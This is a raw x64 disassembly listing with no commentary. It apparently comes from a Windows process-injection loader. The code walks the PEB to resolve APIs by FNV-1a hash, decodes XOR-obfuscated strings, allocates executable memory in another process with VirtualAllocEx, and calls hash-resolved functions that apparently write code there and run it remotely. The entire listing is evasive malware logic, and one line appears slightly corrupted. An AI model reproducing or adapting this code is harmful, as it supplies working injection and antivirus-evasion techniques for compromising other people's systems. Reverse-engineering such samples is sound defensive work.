lea rcx, [r11 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003c7c8
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003c7b0
cmp r8d, ebx
je 0x14003c7da
test r9d, r9d
jne 0x14003c790
mov rax, qword [rax]
jmp 0x14003c6f0
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
cmp r10, rsi
jbe 0x14003c861
lea rax, [r15 + rsi]
cmp r10, rax
jae 0x14003c861
mov edi, 0x811c9dc5
mov ebx, edi
movzx eax, byte [r10]
cmp al, 0x2e
je 0x14003c826
nop
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14003c810
inc r10
movzx eax, byte [r10]
test al, al
je 0x14003c848
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x14003c831
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003c6f0
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, r13
mov rdx, qword [rbp - 0x80]
mov r15, qword [rsp + 0x40]
mov rcx, r15
call r10
mov rcx, r13
call fcn.140079384
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
mov qword [rbp], rax
test rax, rax
jne 0x14003cb21
call qword [sym.imp.KERNEL32.dll_GetLastError]
movabs rcx, 0xd761dcc156547bb5
mov qword [rbp + 0x20], rcx
movabs rcx, 0x263de434674a79be
mov qword [rbp + 0x28], rcx
movabs rcx, 0xf233dccf93f6cbc7
mov qword [rbp + 0x30], rcx
movabs rcx, 0x81a5505aa674df50
mov qword [rbp + 0x38], rcx
movabs rcx, 0x4de989edfa2d9679
mov qword [rbp + 0x40], rcx
movabs rcx, 0xd9096202b6c1062
mov qword [rbp + 0x48], rcx
movabs rdx, 0xb641a5b339391ef8
mov qword [rbp - 0x40], rdx
movabs rdx, 0x49549055042515d2
mov qword [rbp - 0x38], rdx
movabs rdx, 0x9656b0a6f290eba9
mov qword [rbp - 0x30], rdx
movabs rdx, 0xf9c0787a8f45f770
mov qword [rbp - 0x28], rdx
movabs rdx, 0x4de3d1c8821db650
mov qword [rbp - 0x20], rdx
mov qword [rbp - 0x18], rcx
movups xmm1, xmmword [rbp - 0x40]
movups xmm2, xmmword [rbp - 0x30]
movups xmm3, xmmword [rbp - 0x20]
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmm1
movdqa xmmword [rsp + 0x50], xmm0
xorps xmm2, xmmword [rbp + 0x30]
movdqa xmmword [rsp + 0x60], xmm2
xorps xmm3, xmmword [rbp + 0x40]
movdqa xmmword [rsp + 0x70], xmm3
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.14003b300
xor edi, edi
mov ebx, 0xe93e8317
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x14003c9ff
mov rdx, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
cmp rdx, r9
je 0x14003c9f6
nop
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14003c9e0
cmp r8d, edi
jne 0x14003cb19
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r15, qword [rcx + r11 + 0x88]
mov esi, r15d
add rsi, r11
shr r15, 0x20
cmp rsi, r11
je 0x14003cb19
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14003cb19
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003ca78
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003ca60
cmp r8d, ebx
je 0x14003ca8a
test r9d, r9d
jne 0x14003ca40
mov rax, qword [rax]
jmp 0x14003c9b0
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
cmp r10, rsi
jbe 0x14003c661
lea rax, [rsi + r15]
cmp r10, rax
jae 0x14003c661
mov edi, 0x811c9dc5
mov ebx, edi
movzx eax, byte [r10]
cmp al, 0x2e
je 0x14003cae6
nop word [rax + rax]
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14003cad0
inc r10
movzx eax, byte [r10]
test al, al
je 0x14003cb08
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x14003caf1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003c9b0
xor ebx, ebx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x14003cb8f
mov rdx, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
cmp rdx, r9
je 0x14003cb86
nop
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14003cb70
cmp r8d, ebx
jne 0x14003cc8b
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r14, qword [rcx + r11 + 0x88]
mov edi, r14d
add rdi, r11
shr r14, 0x20
cmp rdi, r11
je 0x14003cc8b
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003cc8b
mov esi, dword [rdi + 0x20]
dec r9d
lea rcx, [rsi + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003cbf8
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003cbe0
cmp r8d, r12d
je 0x14003cc0a
test r9d, r9d
jne 0x14003cbc2
mov rax, qword [rax]
jmp 0x14003cb40
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
cmp r10, rdi
jbe 0x14003cc93
lea rax, [rdi + r14]
cmp r10, rax
jae 0x14003cc93
mov ebx, 0x811c9dc5
mov r12d, ebx
movzx eax, byte [r10]
cmp al, 0x2e
je 0x14003cc56
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14003cc40
inc r10
movzx eax, byte [r10]
test al, al
je 0x14003cc7a
movsx eax, al
xor eax, r12d
imul r12d, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x14003cc61
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003cb40
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
lea r8, [0x14003b360]
mov rdx, r13
mov rcx, r15
call r10
xor edi, edi
mov ebx, 0xc398c463
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x14003cd1f
mov rdx, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
cmp rdx, r9
je 0x14003cd16
nop
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14003cd00
cmp r8d, edi
jne 0x14003ce29
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r15, qword [rcx + r11 + 0x88]
mov esi, r15d
add rsi, r11
shr r15, 0x20
cmp rsi, r11
je 0x14003ce29
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14003ce29
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003cd98
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003cd80
cmp r8d, ebx
je 0x14003cdaa
test r9d, r9d
jne 0x14003cd60
mov rax, qword [rax]
jmp 0x14003ccd0
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
cmp r10, rsi
jbe 0x14003ce31
lea rax, [rsi + r15]
cmp r10, rax
jae 0x14003ce31
mov edi, 0x811c9dc5
mov ebx, edi
movzx eax, byte [r10]
cmp al, 0x2e
je 0x14003cdf6
nop
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14003cde0
inc r10
movzx eax, byte [r10]
test al, al
je 0x14003ce18
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x14003ce01
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003ccd0
xor edi, edi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov r12, qword [rbp - 0x80]
mov qword [rsp + 0x20], r12
mov r9, r13
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call r10
test rax, rax
jne 0x14003d3ac
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
movabs rcx, 0xd761dcc156547bb5
mov qword [rbp + 0x20], rcx
movabs rcx, 0x263de434674a79be
mov qword [rbp + 0x28], rcx
movabs rcx, 0xf233dccf93f6cbc7
mov qword [rbp + 0x30], rcx
movabs rcx, 0x81a5505aa674df50
mov qword [rbp + 0x38], rcx
movabs rax, 0xb441b8a0332613e1
mov qword [rbp - 0x40], rax
movabs rax, 0x6538b5d132b1ccc
mov qword [rbp - 0x38], rax
movabs rax, 0xc213b8aaff9faaa1
mov qword [rbp - 0x30], rax
movabs rax, 0x81a5505aac2cfa28
mov qword [rbp - 0x28], rax
movups xmm0, xmmword [rbp - 0x40]
movups xmm1, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp], xmm0
xorps xmm1, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x10], xmm1
mov ebx, edi
mov r8d, 0xe76fb4aa
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x14003cf5f
mov rdx, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea r10, [rdx + rcx*2]
mov r9d, 0x811c9dc5
cmp rdx, r10
je 0x14003cf56
nop
movsx ecx, byte [rdx]
xor ecx, r9d
imul r9d, ecx, 0x1000193
add rdx, 2
cmp rdx, r10
jne 0x14003cf40
cmp r9d, ebx
jne 0x14003d06b
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r15, qword [rcx + r11 + 0x88]
mov edi, r15d
add rdi, r11
shr r15, 0x20
cmp rdi, r11
je 0x14003d06b
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x14003d06b
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r14]
add rdx, r11
mov r9d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003cfd8
nop
movsx ecx, cl
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003cfc0
cmp r9d, r8d
je 0x14003cfea
test r10d, r10d
jne 0x14003cfa0
mov rax, qword [rax]
jmp 0x14003cf10
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov r9d, dword [rcx + rax*4]
add r9, r11
cmp r9, rdi
jbe 0x14003d073
lea rax, [r15 + rdi]
cmp r9, rax
jae 0x14003d073
mov ebx, 0x811c9dc5
mov r8d, ebx
movzx eax, byte [r9]
cmp al, 0x2e
je 0x14003d036
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc r9
movzx eax, byte [r9]
cmp al, 0x2e
jne 0x14003d020
inc r9
movzx eax, byte [r9]
test al, al
je 0x14003d05a
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
lea r9, [r9 + 1]
movzx eax, byte [r9]
test al, al
jne 0x14003d041
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003cf10
mov edx, r12d
lea rcx, [rbp]
call r9
xor esi, esi
mov ebx, 0xe93e8317
mov edi, ebx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x14003d0ef
mov rdx, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
cmp rdx, r9
je 0x14003d0e6
nop
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14003d0d0
cmp r8d, esi
jne 0x14003d208
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r12, qword [rcx + r11 + 0x88]
mov r14d, r12d
add r14, r11
shr r12, 0x20
cmp r14, r11
je 0x14003d208
mov r9d, dword [r14 + 0x18]
test r9d, r9d
je 0x14003d208
mov r15d, dword [r14 + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + r15]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003d168
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003d150
cmp r8d, edi
je 0x14003d17a
test r9d, r9d
jne 0x14003d130
mov rax, qword [rax]
jmp 0x14003d0a0
mov ecx, dword [r14 + 0x1c]
add rcx, r11
mov eax, dword [r14 + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
cmp r10, r14
jbe 0x14003d210
lea rax, [r14 + r12]
cmp r10, rax
jae 0x14003d210
mov esi, 0x811c9dc5
mov edi, esi
movzx eax, byte [r10]
cmp al, 0x2e
je 0x14003d1c7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14003d1b1
inc r10
movzx eax, byte [r10]
test al, al
je 0x14003d1f7
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x14003d1e0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003d0a0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov r12, qword [rsp + 0x40]
mov rcx, r12
call r10
xor edi, edi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x14003d28f
mov rdx, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
cmp rdx, r9
je 0x14003d286
nop
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14003d270
cmp r8d, edi
jne 0x14003d399
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r15, qword [rcx + r11 + 0x88]
mov esi, r15d
add rsi, r11
shr r15, 0x20
cmp rsi, r11
je 0x14003d399
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14003d399
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003d308
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003d2f0
cmp r8d, ebx
je 0x14003d31a
test r9d, r9d
jne 0x14003d2d0
mov rax, qword [rax]
jmp 0x14003d240
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
cmp r10, rsi
jbe 0x14003d3a1
lea rax, [r15 + rsi]
cmp r10, rax
jae 0x14003d3a1
mov edi, 0x811c9dc5
mov ebx, edi
movzx eax, byte [r10]
cmp al, 0x2e
je 0x14003d366
nop
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14003d350
inc r10
movzx eax, byte [r10]
test al, al
je 0x14003d388
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x14003d371
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003d240
mov rdx, r13
mov rcx, r12
jmp 0x14003c66a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rsp + 0x40]
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
mov ebx, 0x9750505
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x14003d42f
mov rdx, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
cmp rdx, r9
je 0x14003d426
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14003d410
cmp r8d, edi
jne 0x14003d539
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r15, qword [rcx + r11 + 0x88]
mov esi, r15d
add rsi, r11
shr r15, 0x20
cmp rsi, r11
je 0x14003d539
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14003d539
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov ecx, dword [rcx + r14]
add rcx, r11
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14003d4a8
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x14003d490
cmp r8d, ebx
je 0x14003d4ba
test r9d, r9d
jne 0x14003d470
mov rax, qword [rax]
jmp 0x14003d3e1
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
cmp r10, rsi
jbe 0x14003d541
lea rax, [r15 + rsi]
cmp r10, rax
jae 0x14003d541
mov edi, 0x811c9dc5
mov ebx, edi
movzx eax, byte [r10]
cmp al, 0x2e
je 0x14003d506
nop
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14003d4f0
inc r10
movzx eax, byte [r10]
test al, al
je 0x14003d528
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x14003d511
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003d3e1
xor edi, edi
mov qword [rsp + 0x20], rdi
lea r9d, [rdi + 0x20]
lea r8, [rbp - 0x40]
mov rdx, r12
mov rcx, r13
call r10
mov rbx, qword [rbp - 0x30]
lea ecx, [rdi + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x14003d3c0
mov ebx, 0xe93e8317
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r13, qword [rbp]
nop dword [rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x14003d5df
mov rdx, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
cmp rdx, r9
je 0x14003d5d6
nop
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14003d5c0
cmp r8d, edi
jne 0x14003d6e9
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r15, qword [rcx + r11 + 0x88]
mov esi, r15d
add rsi, r11
shr r15, 0x20
cmp rsi, r11
je 0x14003d6e9
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14003d6e9
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r9d
lea rcx, [r14 + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003d658
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003d640
cmp r8d, ebx
je 0x14003d66a
test r9d, r9d
jne 0x14003d620
mov rax, qword [rax]
jmp 0x14003d590
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
cmp r10, rsi
jbe 0x14003d6f1
lea rax, [r15 + rsi]
cmp r10, rax
jae 0x14003d6f1
mov edi, 0x811c9dc5
mov ebx, edi
movzx eax, byte [r10]
cmp al, 0x2e
je 0x14003d6b6
nop
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14003d6a0
inc r10
movzx eax, byte [r10]
test al, al
je 0x14003d6d8
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x14003d6c1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003d590
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, qword [rsp + 0x40]
call r10
nop
mov rbx, qword [rbp - 0x78]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14003d740
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14003d73b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14003d77c
mov rcx, r8
call fcn.140079384
mov al, 1
mov byte [rbx], 0
mov qword [rbx + 0x18], select
mov qword [rbx + 0x10], 0
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.1400790d0
mov rbx, qword [rsp + 0x1a8]
add rsp, 0x160
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3